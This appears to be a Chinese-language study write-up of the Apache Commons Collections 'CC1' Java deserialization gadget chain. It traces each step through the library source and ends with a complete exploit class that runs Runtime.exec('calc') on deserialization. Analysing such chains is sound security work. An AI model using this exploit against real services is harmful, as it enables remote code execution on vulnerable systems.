前言
CC1很重要,需要去深挖。
分析
漏洞点在于InvokerTransformer类的transform方法。可以调用该函数,以反射的形式调用任意方法,造成RCE。其中input是传进来的object。
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
//...略
}
}
而iMethodName, iParamTypes, iArgs这三个参数是在构造方法中被赋值。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
可以看到该构造函数是可以实例化的,而transform也是public可以被对象调用。我们通过InvokerTransformer弹计算器。
public static void main(String[] args) throws IOException {
Runtime r=Runtime.getRuntime();//Runtime不是可序列化类,因此后续需要通过反射调用。
new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc"}).transform(r);
}
而接下来我们要找哪个方法调用了InvokerTransformer#transform,通过IDEA的Find usages可以找到21处调用,接下来看transformedMap#checksetValue,protected类型。
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
而valueTransformer是在构造方法中赋值。可以看到构造方法也是protected类型,因此还要通过类中方法调用。
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
很容易发现InvokerTransformer#decorate进行了实例化,并且是public static类型。为了调用InvokerTransformer#transform,要令valueTransformer=new InvokerTransformer()
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
decorate就是为了给map装饰上key和value,那么接下来我们就要找哪里调用checksetValue了。只有1处调用:AbstractInputCheckedMapDecorator.MapEntry#setValue
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
parent是通过protected类型的构造方法赋值,**parent要赋值new TransformedMap()**。
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
接下来要找哪里调用了setValue方法。首先我们要知道遍历Map可以通过Map.Entry进行遍历,而其中有entry.setValue方法。
那么如何调用AbstractInputCheckedMapDecorator.MapEntry的setValue方法?
之前我们调用了decorate方法实例化TransformedMap,而TransformedMap的父类正是AbstractInputCheckedMapDecorator,如果我们遍历TransformedMap类型的Map,那么自己没有setValue方法自然就调用了父类的setValue方法,因此我们遍历TransformedMap这个类型的Map就可以了。
还要注意一点,遍历Map要保证Map不为空,不然都进不去for循环自然调用不了setValue方法。
此时的exp:
public static void main(String[] args) throws IOException {
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc"});
HashMap map=new HashMap();
map.put("key","value");
Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);//debug调试,setValue的参数正是最后传到InvokerTransformer#transform的input,因此这里就是赋值Runtime的实例化。
}
接下来找谁调用了setValue,我们发现AnnotationInvocationHandler的readobject直接就调用了setValue。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
//...略
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
观察该类的构造方法为default,因此我们只能通过反射来调用。
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor =c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o=annotationInvocationHandlerConstructor.newInstance(Override.class,transformedMap);
反射调用后,是不是觉得可以尝试反序列化测试了?
注意前面的注释,Runtime类是不可以被序列化的,因此我们不能通过Runtime.getRuntime()来进行序列化,因此我们也需要反射来调用。
Method method= (Method) new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}).transform(Runtime.class);
Runtime r= (Runtime) new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}).transform(method);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
如果仔细调试或者阅读源码就会发现仅仅凭借InvokerTransformer是走不通的,因为可以看到checkSetValue只调用了一次transform,并且AnnotationInvocationHandler#readobject给Map赋值是写死为new AnnotationTypeMismatchExceptionProxy的,而我们要传进来的是Runtime.class(因为要RCE),所以你没办法通过InvokerTransforme直接反射RCE。
而我们发现,Transformer的实现有这重要的三种:
- ConstantTransformer –> 把⼀个对象转换为常量
- InvokerTransformer –> 通过反射,返回⼀个对象 -> 反射获取执行方法加入参数
- ChainedTransformer –>执⾏链式的Transformer⽅法 ->将反射包含的数组进行链式调用,从而连贯起来
因此,我们就可以通过ChainedTransformer达到调用多次transform方法的目的,该函数是把前一个的输出当作当前的transform方法的输入执行。并且我们可以看到数组第一个元素为new ConstantTransformer(Runtime.class),该类把⼀个对象转换为常量,也就是说我们传进去Runtime.class,他就会返回Runtime.class,而不是annotationTypeMismatchExceptionProxy,这也就绕过了之前提到写死的参数。
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}),
new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer c=new ChainedTransformer(transformers);
c.transform(Runtime.class);
回顾checkSetValue。
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
回顾AnnotationInvocationHandler的readobject关键代码。
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
调试+链子
首先反序列化执行AnnotationInvocationHandler#readobject,调用了setValue方法,并且写死了传入的参数。
接着调用了AbstractInputCheckedMapDecorator#setValue,可以看到parent为TransformedMap,这也是为什么要Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,c)的原因,就是为了调用他的父类AbstractInputCheckedMapDecorator#setValue方法
继续跟进,此时value还是写死的参数。
进入到链式调用transform
单步执行。此时会执行谁的transform呢?
跟进去看看,当然是执行ConstantTransformer的transform啦。因为我们链式调用数组的第一个元素就是ConstantTransformer,因此他直接返回构造函数构造好的iConstant,也就是Runtime.class!!覆盖了写死的值。
之后就把ConstantTransformer#transform的输出Runtime.class传给下一个transform的input,也就是invoke getRuntime方法从而获取实例,接着在通过获取到的示例执行exec方法即可RCE。
链子比较短,但是坑点比较多。
AnnotationInvocationHandler#readobject
AbstractInputCheckedMapDecorator.MapEntry#setValue
TransformedMap#checksetValue
InvokerTransformer#transform
exp
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",null}),
new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer c=new ChainedTransformer(transformers);
HashMap map=new HashMap();
map.put("value","value");
Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,c);
Class cc=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor =cc.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o=annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
}